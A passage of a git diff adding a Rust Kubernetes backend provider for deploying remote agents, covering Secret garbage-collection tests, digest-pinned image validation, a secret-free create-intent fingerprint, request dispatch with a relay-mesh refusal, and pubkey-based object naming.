the age gate exists to close: attempt A creates its + /// Secret; concurrent attempt B's preflight GC runs before A creates its + /// pod. Without the gate B deletes A's Secret and strands A. + #[test] + fn young_unreferenced_secrets_are_protected() { + let id = identity(); + let now = Utc::now(); + let fresh = secret_named(&id, "buzz-agent-x-gen-inflight", 5, now); + assert_eq!( + plan(&id, &[], &[fresh], never, Some(now)), + GcPlan::default() + ); + } + + /// Past twice the deadline, any attempt that could still reference the + /// Secret has exceeded its own deadline — so it is provably abandoned. + #[test] + fn secrets_older_than_twice_the_deadline_are_collected() { + let id = identity(); + let now = Utc::now(); + let old = secret_named( + &id, + "buzz-agent-x-gen-abandoned", + ORPHAN_SECRET_MIN_AGE_SECS + 1, + now, + ); + let plan = plan(&id, &[], &[old], never, Some(now)); + assert_eq!(plan.secrets, ["buzz-agent-x-gen-abandoned"]); + } + + /// The boundary itself, both sides. `>= 1200s` is eligible. + #[test] + fn age_gate_boundary_is_exact() { + let id = identity(); + let now = Utc::now(); + let just_under = secret_named(&id, "under", ORPHAN_SECRET_MIN_AGE_SECS - 1, now); + let exactly = secret_named(&id, "exact", ORPHAN_SECRET_MIN_AGE_SECS, now); + assert!(plan(&id, &[], &[just_under], never, Some(now)) + .secrets + .is_empty()); + assert_eq!( + plan(&id, &[], &[exactly], never, Some(now)).secrets, + ["exact"] + ); + } + + /// The same-clock rule. No apiserver `Date` header → skip the orphan + /// sweep entirely. A local clock fast by more than the margin would + /// silently delete every in-flight Secret on every pass. + #[test] + fn without_a_server_clock_the_orphan_sweep_is_skipped() { + let id = identity(); + let now = Utc::now(); + let ancient = secret_named(&id, "buzz-agent-x-gen-ancient", 10_000_000, now); + let plan = plan(&id, &[], &[ancient], never, None); + assert!( + plan.secrets.is_empty(), + "orphan swept without a server clock — a fast local clock would delete live Secrets" + ); + } + + /// ...but terminated-pod GC does not consult the clock, so it still runs. + #[test] + fn terminated_pod_gc_runs_without_a_server_clock() { + let id = identity(); + let pod = pod_named(&id, "buzz-agent-dead", Some("buzz-agent-dead-gen1")); + let plan = plan(&id, &[pod], &[], always, None); + assert_eq!(plan.pods, ["buzz-agent-dead"]); + assert_eq!(plan.secrets, ["buzz-agent-dead-gen1"]); + } + + /// "Existing" includes not-yet-started pods: a Secret referenced by a pod + /// still pulling its image must not be swept, however old it is. + #[test] + fn secrets_referenced_by_a_pending_pod_are_protected() { + let id = identity(); + let now = Utc::now(); + let pending = pod_named(&id, "buzz-agent-pending", Some("buzz-agent-pending-gen1")); + let old = secret_named(&id, "buzz-agent-pending-gen1", 10_000_000, now); + let plan = plan(&id, &[pending], &[old], never, Some(now)); + assert!(plan.secrets.is_empty(), "swept a referenced Secret"); + } + + /// A Secret with no server-assigned creationTimestamp has no age proof, + /// so it is skipped rather than assumed old. + #[test] + fn secrets_without_a_creation_timestamp_are_skipped() { + let id = identity(); + let now = Utc::now(); + let mut no_timestamp = secret_named(&id, "buzz-agent-x-gen-unknown", 10_000_000, now); + no_timestamp.metadata.creation_timestamp = None; + assert!(plan(&id, &[], &[no_timestamp], never, Some(now)) + .secrets + .is_empty()); + } + + /// A Secret belonging to a pod being collected in this same pass goes with + /// it, and must not be listed twice. + #[test] + fn a_collected_pods_secret_is_listed_once() { + let id = identity(); + let now = Utc::now(); + let dead = pod_named(&id, "buzz-agent-dead", Some("buzz-agent-dead-gen1")); + let its_secret = secret_named(&id, "buzz-agent-dead-gen1", 10_000_000, now); + let plan = plan(&id, &[dead], &[its_secret], always, Some(now)); + assert_eq!(plan.secrets, ["buzz-agent-dead-gen1"]); + } +} diff --git a/crates/buzz-backend-kubernetes/src/image.rs b/crates/buzz-backend-kubernetes/src/image.rs new file mode 100644 index 0000000000..409989fda9 --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/image.rs @@ -0,0 +1,184 @@ +//! Image reference validation (spec §Image). +//! +//! The object holding this reference runs with an nsec, so the reference must +//! be **immutable**. Registry tags are mutable pointers — Kubernetes itself +//! distinguishes them from digests for exactly this reason — so a tag-only +//! reference is rejected, not just `:latest`. +//! +//! There is no parse-time fallback: `image` is required, and its absence +//! fails closed with a named field. The published `ghcr.io/block/buzz-sprig` +//! digest is offered only as a schema `default` (a UI prefill the desktop +//! submits explicitly — see `config::DEFAULT_IMAGE`), so the create-intent +//! fingerprint never depends on compiled-in provider state. + +/// A validated, digest-qualified image reference. +/// +/// The inner string is always in canonical tagless form `name@sha256:`: +/// `name:tag@sha256:…` normalizes by dropping the tag, because the tag is +/// decorative once a digest pins the content, and leaving it in would make +/// two references to identical bytes produce different create-intent +/// fingerprints. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ImageRef(String); + +impl ImageRef { + pub fn as_str(&self) -> &str { + &self.0 + } +} + +impl std::fmt::Display for ImageRef { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str(&self.0) + } +} + +/// Parse and normalize a user-supplied image reference. +pub fn parse(raw: &str) -> Result { + let reference = raw.trim(); + if reference.is_empty() { + return Err("provider_config.image is required: no image is assumed \ + at parse time, so the digest-pinned image to run must be \ + given explicitly" + .to_string()); + } + + let mut parts = reference.split('@'); + let name_and_tag = parts.next().unwrap_or_default(); + let digest = match (parts.next(), parts.next()) { + (Some(d), None) => d, + (None, _) => { + return Err(format!( + "provider_config.image {reference:?} is not digest-pinned: a \ + tag is a mutable pointer, and this object runs with the \ + agent's private key. Use name@sha256:<64 hex chars>" + )) + } + (Some(_), Some(_)) => { + return Err(format!( + "provider_config.image {reference:?} contains more than one '@'" + )) + } + }; + + let hex = digest.strip_prefix("sha256:").ok_or_else(|| { + format!("provider_config.image digest {digest:?} must start with 'sha256:'") + })?; + // Lowercase only: OCI canonicalizes digest hex, and accepting uppercase + // would let two spellings of one digest produce two fingerprints. + if hex.len() != 64 + || !hex + .chars() + .all(|c| c.is_ascii_digit() || ('a'..='f').contains(&c)) + { + return Err(format!( + "provider_config.image digest {digest:?} must be exactly 64 \ + lowercase hex characters" + )); + } + + // Drop any tag: `name:tag@sha256:…` and `name@sha256:…` name the same + // bytes and must fingerprint identically. Only a *final* colon segment + // that isn't a port counts as a tag — `host:5000/name` has no tag. + let name = match name_and_tag.rfind(':') { + Some(colon) if !name_and_tag[colon + 1..].contains('/') => &name_and_tag[..colon], + _ => name_and_tag, + }; + if name.is_empty() { + return Err(format!( + "provider_config.image {reference:?} has no repository name" + )); + } + + Ok(ImageRef(format!("{name}@sha256:{hex}"))) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn accepts_digest_pinned_reference() { + let d = "a".repeat(64); + let r = parse(&format!("ghcr.io/block/buzz-sprig@sha256:{d}")).unwrap(); + assert_eq!(r.as_str(), format!("ghcr.io/block/buzz-sprig@sha256:{d}")); + } + + /// The normalization that keeps the fingerprint stable: two spellings of + /// the same bytes must produce one reference. + #[test] + fn strips_tag_from_tag_plus_digest_form() { + let d = "b".repeat(64); + let tagged = parse(&format!("ghcr.io/block/buzz-sprig:v1.2@sha256:{d}")).unwrap(); + let plain = parse(&format!("ghcr.io/block/buzz-sprig@sha256:{d}")).unwrap(); + assert_eq!(tagged, plain); + } + + /// A registry port is not a tag. `host:5000/name` must keep its port. + #[test] + fn registry_port_is_not_mistaken_for_a_tag() { + let d = "c".repeat(64); + let r = parse(&format!("localhost:5000/buzz-sprig@sha256:{d}")).unwrap(); + assert_eq!(r.as_str(), format!("localhost:5000/buzz-sprig@sha256:{d}")); + } + + #[test] + fn port_and_tag_together_drops_only_the_tag() { + let d = "d".repeat(64); + let r = parse(&format!("localhost:5000/buzz-sprig:dev@sha256:{d}")).unwrap(); + assert_eq!(r.as_str(), format!("localhost:5000/buzz-sprig@sha256:{d}")); + } + + /// Wren's amendment: *every* tag-only reference is rejected, not just + /// `:latest`. A `sha-` tag is traceable but still movable. + #[test] + fn rejects_every_tag_only_reference() { + for bad in [ + "ghcr.io/block/buzz-sprig:latest", + "ghcr.io/block/buzz-sprig:v1.2.3", + "ghcr.io/block/buzz-sprig:sha-abc1234", + "ghcr.io/block/buzz-sprig", + "localhost:5000/buzz-sprig", + ] { + let err = parse(bad).unwrap_err(); + assert!(err.contains("digest-pinned"), "for {bad:?} got: {err}"); + } + } + + /// Uppercase hex is a second spelling of one digest; accepting it would + /// let the same image fingerprint two ways. + #[test] + fn rejects_uppercase_digest_hex() { + let d = "A".repeat(64); + assert!(parse(&format!("img@sha256:{d}")).is_err()); + } + + #[test] + fn rejects_malformed_digests() { + let short = "a".repeat(63); + let long = "a".repeat(65); + let ok = "a".repeat(64); + for bad in [ + format!("img@sha256:{short}"), + format!("img@sha256:{long}"), + format!("img@sha512:{ok}"), + format!("img@{ok}"), + format!("img@sha256:{}", "g".repeat(64)), + format!("img@sha256:{ok}@sha256:{ok}"), + format!("@sha256:{ok}"), + ] { + assert!(parse(&bad).is_err(), "accepted {bad:?}"); + } + } + + /// Parsing has no fallback (the schema default is a UI prefill, not a + /// parse-time substitute), so an absent image is an error that names the + /// field rather than a silent fallback. + #[test] + fn empty_reference_names_the_field() { + for empty in ["", " "] { + let err = parse(empty).unwrap_err(); + assert!(err.contains("provider_config.image"), "got: {err}"); + } + } +} diff --git a/crates/buzz-backend-kubernetes/src/intent.rs b/crates/buzz-backend-kubernetes/src/intent.rs new file mode 100644 index 0000000000..73218f83bf --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/intent.rs @@ -0,0 +1,309 @@ +//! The create-intent fingerprint (spec §Deploy State Machine, create-intent +//! fingerprint, `docs/remote-agents.md:796-828`). +//! +//! The fingerprint is an unkeyed SHA-256 over a canonical serialization of the +//! provider's non-secret create-intent template. A plain hash is safe *only* +//! because of the scope rule: the input covers exactly the provider-controlled +//! fields that can affect scheduling or container creation, and **never Secret +//! data or attempt identity**. Hashing low-entropy secrets into a +//! world-readable annotation would be a dictionary oracle. +//! +//! That rule is enforced structurally rather than remembered. [`IntentTemplate`] +//! is a *pre-binding* type: it has no field that can hold Secret material or a +//! generation token, so there is no expression that hashes one. The +//! per-attempt Secret name never appears — the pod's `envFrom` is represented +//! by the fixed [`SECRET_PLACEHOLDER`], because otherwise every attempt would +//! diverge from every other by construction. +//! +//! Server- and admission-produced output (UID, `resourceVersion`, timestamps, +//! defaulted fields, the annotation itself) is excluded the same way: the +//! serializer is only ever handed this template, never a live `Pod`, so the +//! exclusion is checkable by inspection. + +use crate::image::ImageRef; +use serde::Serialize; +use sha2::{Digest, Sha256}; + +/// Stands in for the per-attempt Secret name in the `envFrom` position. +/// A real generation token here would make every attempt diverge. +const SECRET_PLACEHOLDER: &str = ""; + +/// The recorded/computed create intent: a hex SHA-256 digest. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Fingerprint(String); + +impl Fingerprint { + pub fn as_str(&self) -> &str { + &self.0 + } + + /// Read a fingerprint off a pod annotation. Any recorded string is + /// accepted verbatim: comparison is equality against a freshly computed + /// value, so a malformed annotation simply reads as divergence — which is + /// the correct outcome for a pod this provider version did not write. + pub fn from_annotation(value: &str) -> Self { + Self(value.to_string()) + } + + #[cfg(test)] + pub fn for_test(seed: &str) -> Self { + Self(format!("test-{seed}")) + } +} + +impl std::fmt::Display for Fingerprint { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str(&self.0) + } +} + +/// The non-secret, pre-binding description of the pod this deploy would +/// create. Every field is provider-controlled and scheduling-relevant; there +/// is deliberately no field for env values, Secret data, or the generation. +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct IntentTemplate { + /// Schema version of the template itself. Bumping it re-fingerprints every + /// pod, which is the intended way to roll out a pod-shape change. + pub template_version: u32, + pub namespace: String, + /// Normalized, digest-qualified image reference. + pub image: String, + pub cpu_request: String, + pub memory_request: String, + pub cpu_limit: String, + pub memory_limit: String, + pub service_account: Option, + pub restart_policy: &'static str, + pub termination_grace_period_seconds: i64, + /// Env *keys* only, sorted. Keys are pod-shape (a renamed key changes the + /// container's contract); values are Secret material and must not be here. + pub env_keys: Vec, + /// Fixed placeholder for the per-attempt Secret in `envFrom`. + pub env_from_secret: &'static str, + pub workspace_mount_path: String, + pub run_as_user: i64, + pub run_as_group: i64, +} + +/// Current template schema version. +pub const TEMPLATE_VERSION: u32 = 1; + +impl IntentTemplate { + /// Compute the fingerprint. `serde_json` on a struct with declared field + /// order plus pre-sorted `env_keys` is a canonical serialization: the same + /// template always produces the same bytes. + pub fn fingerprint(&self) -> Fingerprint { + let canonical = serde_json::to_vec(self).expect("intent template is plain data"); + Fingerprint(hex::encode(Sha256::digest(&canonical))) + } + + /// Build from resolved pod-shape inputs. `env_keys` is sorted here rather + /// than at the call site so key ordering can never leak into the digest. + /// + /// The fixed pod-shape constants are read from [`crate::config`] rather + /// than passed in: `pod::build_pod` stamps the pod from those same + /// constants, so the fingerprint cannot describe a pod shape different + /// from the one actually created. Threading them through as arguments + /// would make that agreement a thing to test instead of a thing that holds. + pub fn new( + namespace: &str, + image: &ImageRef, + resources: &crate::config::Resources, + service_account: Option<&str>, + env_keys: impl IntoIterator, + ) -> Self { + let mut env_keys: Vec = env_keys.into_iter().collect(); + env_keys.sort(); + Self { + template_version: TEMPLATE_VERSION, + namespace: namespace.to_string(), + image: image.as_str().to_string(), + cpu_request: resources.cpu_request.clone(), + memory_request: resources.memory_request.clone(), + cpu_limit: resources.cpu_limit.clone(), + memory_limit: resources.memory_limit.clone(), + service_account: service_account.map(str::to_string), + restart_policy: crate::config::RESTART_POLICY, + termination_grace_period_seconds: crate::config::TERMINATION_GRACE_SECONDS, + env_keys, + env_from_secret: SECRET_PLACEHOLDER, + workspace_mount_path: crate::config::WORKSPACE_PATH.to_string(), + run_as_user: crate::config::RUN_AS_UID, + run_as_group: crate::config::RUN_AS_GID, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::config::Resources; + + fn image(byte: char) -> ImageRef { + crate::image::parse(&format!( + "ghcr.io/block/buzz-sprig@sha256:{}", + byte.to_string().repeat(64) + )) + .unwrap() + } + + fn template() -> IntentTemplate { + IntentTemplate::new( + "buzz-agents", + &image('a'), + &Resources::default(), + None, + ["BUZZ_RELAY_URL".to_string(), "GOOSE_MODE".to_string()], + ) + } + + #[test] + fn fingerprint_is_deterministic() { + assert_eq!(template().fingerprint(), template().fingerprint()); + } + + #[test] + fn fingerprint_is_hex_sha256() { + let fp = template().fingerprint(); + assert_eq!(fp.as_str().len(), 64); + assert!(fp.as_str().chars().all(|c| c.is_ascii_hexdigit())); + } + + /// Key *order* must not reach the digest, or two identical environments + /// built in different orders would look like a config change. + #[test] + fn env_key_order_does_not_affect_the_digest() { + let a = IntentTemplate::new( + "ns", + &image('a'), + &Resources::default(), + None, + ["A".to_string(), "B".to_string(), "C".to_string()], + ); + let b = IntentTemplate::new( + "ns", + &image('a'), + &Resources::default(), + None, + ["C".to_string(), "A".to_string(), "B".to_string()], + ); + assert_eq!(a.fingerprint(), b.fingerprint()); + } + + /// A mutation applied to a fresh template clone, named for its assertion + /// message. + type Mutation = (&'static str, Box); + + /// Every scheduling-relevant knob must move the digest — this is the + /// wedge escape (§Deploy State Machine never-started recoverable row). + /// Exhaustive by construction: each mutation is applied to a fresh clone. + #[test] + fn every_scheduling_field_changes_the_digest() { + let base = template(); + let baseline = base.fingerprint(); + + let mutations: Vec = vec![ + ( + "template_version", + Box::new(|t: &mut IntentTemplate| t.template_version += 1), + ), + ( + "namespace", + Box::new(|t: &mut IntentTemplate| t.namespace = "other".into()), + ), + ( + "image", + Box::new(|t: &mut IntentTemplate| t.image = image('b').as_str().into()), + ), + ( + "cpu_request", + Box::new(|t: &mut IntentTemplate| t.cpu_request = "4".into()), + ), + ( + "memory_request", + Box::new(|t: &mut IntentTemplate| t.memory_request = "8Gi".into()), + ), + ( + "cpu_limit", + Box::new(|t: &mut IntentTemplate| t.cpu_limit = "8".into()), + ), + ( + "memory_limit", + Box::new(|t: &mut IntentTemplate| t.memory_limit = "16Gi".into()), + ), + ( + "service_account", + Box::new(|t: &mut IntentTemplate| t.service_account = Some("sa".into())), + ), + ( + "restart_policy", + Box::new(|t: &mut IntentTemplate| t.restart_policy = "OnFailure"), + ), + ( + "grace_period", + Box::new(|t: &mut IntentTemplate| t.termination_grace_period_seconds = 30), + ), + ( + "env_keys", + Box::new(|t: &mut IntentTemplate| t.env_keys.push("NEW_KEY".into())), + ), + ( + "workspace_mount_path", + Box::new(|t: &mut IntentTemplate| t.workspace_mount_path = "/w".into()), + ), + ( + "run_as_user", + Box::new(|t: &mut IntentTemplate| t.run_as_user = 2000), + ), + ( + "run_as_group", + Box::new(|t: &mut IntentTemplate| t.run_as_group = 2000), + ), + ]; + + for (name, mutate) in mutations { + let mut t = base.clone(); + mutate(&mut t); + assert_ne!( + t.fingerprint(), + baseline, + "{name} did not affect the digest" + ); + } + } + + /// The scope rule, asserted on the bytes: no Secret value and no + /// generation token can appear in the serialization, because the type has + /// nowhere to put them. The placeholder is what `envFrom` contributes. + #[test] + fn serialization_contains_no_secret_material_or_attempt_identity() { + let json = serde_json::to_string(&template()).unwrap(); + for forbidden in ["nsec1", "SPOOFED", "wss://", "gen0001"] { + assert!( + !json.contains(forbidden), + "template leaked {forbidden}: {json}" + ); + } + assert!(json.contains(SECRET_PLACEHOLDER)); + } + + /// Two attempts for the same agent differ only in generation, which is + /// absent from the template — so their fingerprints must be equal, or the + /// divergence discriminator would fire on every single deploy. + #[test] + fn attempts_differing_only_by_generation_do_not_diverge() { + // There is no generation input to pass; that *is* the property. The + // test states it explicitly so a future field addition breaks here. + assert_eq!(template().fingerprint(), template().fingerprint()); + let json = serde_json::to_string(&template()).unwrap(); + assert_eq!(json.matches(SECRET_PLACEHOLDER).count(), 1); + } + + /// A recorded annotation this provider version did not write reads as + /// divergence rather than an error. + #[test] + fn unrecognized_annotation_reads_as_divergence() { + let recorded = Fingerprint::from_annotation("not-a-digest"); + assert_ne!(recorded, template().fingerprint()); + } +} diff --git a/crates/buzz-backend-kubernetes/src/main.rs b/crates/buzz-backend-kubernetes/src/main.rs new file mode 100644 index 0000000000..5d521a9d37 --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/main.rs @@ -0,0 +1,199 @@ +//! Kubernetes backend provider for Buzz remote agents +//! (spec `docs/remote-agents.md`). +//! +//! One process per operation: read exactly one JSON request from stdin, write +//! exactly one JSON response to stdout, exit. The exit code carries exactly +//! one bit — 0 for a response that was produced, 1 for a failure to produce +//! one. Everything a caller needs to distinguish is *inside* the response's +//! `ok` field, because a provider that encoded outcomes in exit codes would +//! have a second, redundant error channel to keep in sync (§Provider Protocol). + +mod classify; +mod client; +mod cluster; +mod config; +mod env; +mod gc; +mod image; +mod intent; +mod naming; +mod observe; +mod pod; +mod reconcile; +mod wire; + +use std::io::Read; +use wire::{Request, Response}; + +/// The provider a shared-compute agent resolves to. Refused here as the +/// spec's backstop: a mesh agent runs on the relay's compute, so deploying it +/// as a pod would create a second, contending consumer of the same agent +/// identity (`:214-219`). +const RELAY_MESH_PROVIDER: &str = "relay-mesh"; + +fn main() { + // rustls needs a process-level provider before the first TLS connection. + // The release build compiles every sidecar in one cargo invocation, which + // unifies the `ring` and `aws-lc-rs` features and leaves rustls unable to + // auto-select — so this is an explicit install, not a default. + let _ = rustls::crypto::ring::default_provider().install_default(); + + let mut input = String::new(); + if let Err(e) = std::io::stdin().read_to_string(&mut input) { + // No request means no request_id and no response contract to honor. + // This is the one path that exits nonzero. + eprintln!("could not read the request from stdin: {e}"); + std::process::exit(1); + } + + let response = respond(&input); + println!( + "{}", + serde_json::to_string(&response).unwrap_or_else(|e| { + // The response types are plain data; this cannot fail in practice, + // and a hand-built object is still a conforming response. + format!(r#"{{"ok":false,"error":"could not serialize a response: {e}"}}"#) + }) + ); +} + +/// Produce the single response for one request. Separated from `main` so the +/// whole dispatch is testable without a process. +fn respond(input: &str) -> Response { + // Parsed as raw JSON first: the relay-mesh refusal below MUST see the wire + // value, and `AgentPayload` deliberately does not carry `provider`. + let raw: serde_json::Value = match serde_json::from_str(input) { + Ok(value) => value, + Err(e) => return Response::error(format!("request is not valid JSON: {e}")), + }; + + if let Some(refusal) = refuse_relay_mesh(&raw) { + return Response::error(refusal); + } + + let request: Request = match serde_json::from_value(raw) { + Ok(request) => request, + Err(e) => return Response::error(format!("could not understand the request: {e}")), + }; + + match request { + Request::Info => Response::info(), + Request::Deploy(deploy) => { + let runtime = match tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + { + Ok(runtime) => runtime, + Err(e) => return Response::error(format!("could not start the runtime: {e}")), + }; + match runtime.block_on(deploy_agent(&deploy)) { + Ok(agent_id) => Response::deployed(agent_id), + Err(e) => Response::error(e), + } + } + } +} + +/// Refuse a shared-compute agent, reading the **raw wire value**. +/// +/// Trimmed before comparing: the desktop's own layers disagree about padding +/// (`relay_mesh.rs:17` and `effective_config/mod.rs:46` trim; the deploy guard +/// at `agents_deploy.rs:116` did not), and `non_blank` preserves surrounding +/// whitespace on a non-blank value. A backstop that shares its bypass with the +/// layer it backs is not a backstop. +fn refuse_relay_mesh(raw: &serde_json::Value) -> Option { + let provider = raw.get("agent")?.get("provider")?.as_str()?; + (provider.trim() == RELAY_MESH_PROVIDER).then(|| { + "deploy refused: this agent is configured for shared compute \ + (relay-mesh), which runs on the relay rather than in a pod. \ + Switch the agent to a local runtime before deploying it to \ + Kubernetes." + .to_string() + }) +} + +/// Run one deploy to a terminal outcome. +async fn deploy_agent(request: &wire::DeployRequest) -> Result { + let cfg = config::parse(&request.provider_config)?; + // Identity before any cluster contact: a malformed nsec is a refusal, not + // a failed connection (§Deploy State Machine step 0). + let identity = naming::AgentIdentity::from_nsec(&request.agent.private_key_nsec)?; + + // One generation for this operation's first attempt; the reconciler mints + // its own per attempt and restamps the correlator to match. + let env = env::build_env( + &request.agent, + env::AuthoritativeInputs { + generation: &naming::new_generation(), + inactivity_seconds: cfg.inactivity_seconds, + }, + )?; + + let client = client::connect(cfg.context.as_deref()).await?; + let substrate = cluster::Cluster::new(client, &cfg.namespace); + reconcile::deploy(&substrate, &identity, &cfg, env).await +} + +#[cfg(test)] +mod tests { + use super::*; + + fn error_of(response: &Response) -> String { + let json = serde_json::to_value(response).unwrap(); + assert_eq!(json["ok"], false, "expected a refusal: {json}"); + json["error"].as_str().unwrap().to_string() + } + + /// The spec's backstop for the relay-mesh MUST. The desktop refuses first + /// (`agents_deploy.rs:116`); this is the layer that owes the obligation. + #[test] + fn refuses_a_relay_mesh_agent() { + let request = r#"{"op":"deploy","agent":{ + "relay_url":"wss://r","private_key_nsec":"nsec1x","provider":"relay-mesh"}, + "provider_config":{"namespace":"ns"}}"#; + assert!(error_of(&respond(request)).contains("relay-mesh")); + } + + /// Padding must not bypass the backstop. Reachable by construction: + /// `GlobalConfig.provider` is a bare `Option` with no trim on + /// write, and `non_blank` rejects whitespace-only while preserving + /// surrounding whitespace on everything else. + #[test] + fn refuses_a_padded_relay_mesh_agent() { + let request = r#"{"op":"deploy","agent":{ + "relay_url":"wss://r","private_key_nsec":"nsec1x","provider":" relay-mesh "}, + "provider_config":{"namespace":"ns"}}"#; + assert!(error_of(&respond(request)).contains("relay-mesh")); + } + + /// The refusal must not fire on a normal agent — a guard that refuses + /// everything passes its own test and ships a provider that deploys + /// nothing. + #[test] + fn does_not_refuse_a_normal_provider() { + let raw: serde_json::Value = + serde_json::from_str(r#"{"agent":{"provider":"openai"}}"#).unwrap(); + assert!(refuse_relay_mesh(&raw).is_none()); + // …nor when the field is absent entirely, which is the common case: + // `AgentPayload` does not carry `provider`. + let bare: serde_json::Value = serde_json::from_str(r#"{"agent":{}}"#).unwrap(); + assert!(refuse_relay_mesh(&bare).is_none()); + } + + /// Malformed input still produces exactly one conforming response. + #[test] + fn malformed_input_is_an_in_band_error() { + assert!(error_of(&respond("not json")).contains("valid JSON")); + assert!(error_of(&respond(r#"{"op":"undeploy"}"#)).contains("understand")); + } + + /// `info` answers without touching a cluster — it is what the desktop + /// calls to render the config form, before any kubeconfig exists. + #[test] + fn info_answers_with_the_protocol_version_and_schema() { + let json = serde_json::to_value(respond(r#"{"op":"info"}"#)).unwrap(); + assert_eq!(json["ok"], true); + assert_eq!(json["protocol_version"], wire::PROTOCOL_VERSION); + assert!(json["config_schema"]["properties"]["namespace"].is_object()); + } +} diff --git a/crates/buzz-backend-kubernetes/src/naming.rs b/crates/buzz-backend-kubernetes/src/naming.rs new file mode 100644 index 0000000000..4b9d7ea035 --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/naming.rs @@ -0,0 +1,223 @@ +//! Identity derivation and the object-naming contract (spec §Pod shape). +//! +//! Every name, label, and annotation below is derived from the pubkey the +//! provider decoded itself from `private_key_nsec` — never from a +//! caller-supplied pubkey (§Deploy State Machine step 0). + +use nostr::nips::nip19::FromBech32; + +/// `app.kubernetes.io/managed-by` value: the management marker's identity half. +pub const MANAGED_BY: &str = "buzz-backend-kubernetes"; + +/// Label key carrying [`MANAGED_BY`]. +pub const LABEL_MANAGED_BY: &str = "app.kubernetes.io/managed-by"; + +/// Label key carrying [`BINDING_VERSION`] — the marker's schema half. +pub const LABEL_BINDING_VERSION: &str = "buzz.block.xyz/binding-version"; + +/// Schema version of the object layout this provider writes. Bumped when the +/// pod/Secret shape changes in a way a older provider would mis-handle. +pub const BINDING_VERSION: &str = "1"; + +/// Label key: truncated pubkey, the reconciliation and GC selector. +pub const LABEL_AGENT_PUBKEY: &str = "buzz.block.xyz/agent-pubkey"; + +/// Annotation key: full pubkey. Load-bearing — the truncated label is +/// collision-*resistant*, this is what makes it safe (§Deploy State Machine +/// step 1). +pub const ANNOTATION_PUBKEY_FULL: &str = "buzz.block.xyz/agent-pubkey-full"; + +/// Annotation key: the recorded create-intent fingerprint. +pub const ANNOTATION_CREATE_INTENT: &str = "buzz.block.xyz/create-intent"; + +/// Annotation key: the image reference this generation actually resolved to, +/// for post-hoc attribution (§Image). +pub const ANNOTATION_IMAGE: &str = "buzz.block.xyz/image"; + +/// An agent identity the provider derived itself, plus every name it implies. +/// +/// Constructing this type is the *only* way to obtain the names — so a +/// caller-supplied pubkey cannot reach a selector by any path. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct AgentIdentity { + pubkey_hex: String, +} + +impl AgentIdentity { + /// Derive from the payload's `private_key_nsec`. + /// + /// Accepts bech32 `nsec1…`; a malformed or undecodable key is an + /// immediate error, before any substrate read or mutation + /// (§Deploy State Machine step 0). + pub fn from_nsec(nsec: &str) -> Result { + let secret = nostr::SecretKey::from_bech32(nsec.trim()) + .map_err(|_| "private_key_nsec is not a decodable nsec1 key".to_string())?; + let keys = nostr::Keys::new(secret); + Ok(Self { + pubkey_hex: keys.public_key().to_hex(), + }) + } + + /// Full 64-hex public key — the annotation value and the comparison + /// operand for candidate authentication. + pub fn pubkey_hex(&self) -> &str { + &self.pubkey_hex + } + + /// Selector label value: first 32 hex chars (128 bits). A full hex pubkey + /// is 64 chars and label values cap at 63, which is why this is truncated + /// and why the annotation check is normative rather than decorative. + pub fn label_pubkey(&self) -> &str { + &self.pubkey_hex[..32] + } + + /// Deterministic pod name, also the returned `agent_id`. + pub fn pod_name(&self) -> String { + format!("buzz-agent-{}", &self.pubkey_hex[..12]) + } + + /// Per-attempt Secret name. `generation` is a fresh random token per + /// create attempt — never reused — which is what makes payload and Secret + /// atomic at the pod-spec boundary (§K8s Secrets). + pub fn secret_name(&self, generation: &str) -> String { + format!("buzz-agent-{}-{}", &self.pubkey_hex[..12], generation) + } + + /// Label selector matching this identity's objects *and* our management + /// marker. Selecting on the marker as well as the identity means an + /// unmarked look-alike never even enters the candidate list. + pub fn selector(&self) -> String { + format!( + "{LABEL_AGENT_PUBKEY}={},{LABEL_MANAGED_BY}={MANAGED_BY}", + self.label_pubkey() + ) + } + + /// The label set stamped on every object this provider creates. + pub fn labels(&self) -> std::collections::BTreeMap { + [ + ( + LABEL_AGENT_PUBKEY.to_string(), + self.label_pubkey().to_string(), + ), + (LABEL_MANAGED_BY.to_string(), MANAGED_BY.to_string()), + ( + LABEL_BINDING_VERSION.to_string(), + BINDING_VERSION.to_string(), + ), + ] + .into_iter() + .collect() + } +} + +/// A fresh generation token: 8 lowercase hex chars from the OS RNG. +/// +/// Appears in the Secret name and as `BUZZ_MANAGED_AGENT_START_NONCE`, so the +/// Secret generation and the harness's lifecycle-frame correlator are one +/// identity (§Launch data tier 3). +pub fn new_generation() -> String { + use rand::RngExt; + let n: u32 = rand::rng().random(); + format!("{n:08x}") +} + +#[cfg(test)] +mod tests { + use super::*; + + /// A fixed test key. Deriving the pubkey (rather than hardcoding both + /// halves) is the point: the test exercises the same derivation the + /// reconciler depends on. + fn identity() -> AgentIdentity { + let keys = nostr::Keys::generate(); + let nsec = { + use nostr::nips::nip19::ToBech32; + keys.secret_key().to_bech32().unwrap() + }; + let id = AgentIdentity::from_nsec(&nsec).unwrap(); + assert_eq!(id.pubkey_hex(), keys.public_key().to_hex()); + id + } + + #[test] + fn rejects_malformed_nsec() { + for bad in ["", "nsec1", "not-a-key", "npub1abc"] { + assert!( + AgentIdentity::from_nsec(bad).is_err(), + "accepted malformed key {bad:?}" + ); + } + } + + #[test] + fn tolerates_surrounding_whitespace() { + let keys = nostr::Keys::generate(); + use nostr::nips::nip19::ToBech32; + let nsec = keys.secret_key().to_bech32().unwrap(); + let padded = format!(" {nsec}\n"); + assert_eq!( + AgentIdentity::from_nsec(&padded).unwrap().pubkey_hex(), + keys.public_key().to_hex() + ); + } + + /// Kubernetes label *values* cap at 63 chars; a full hex pubkey is 64, + /// one over. That one-char overflow is the whole reason the selector is + /// truncated, so it gets an explicit test. + #[test] + fn label_value_fits_kubernetes_limit() { + let id = identity(); + 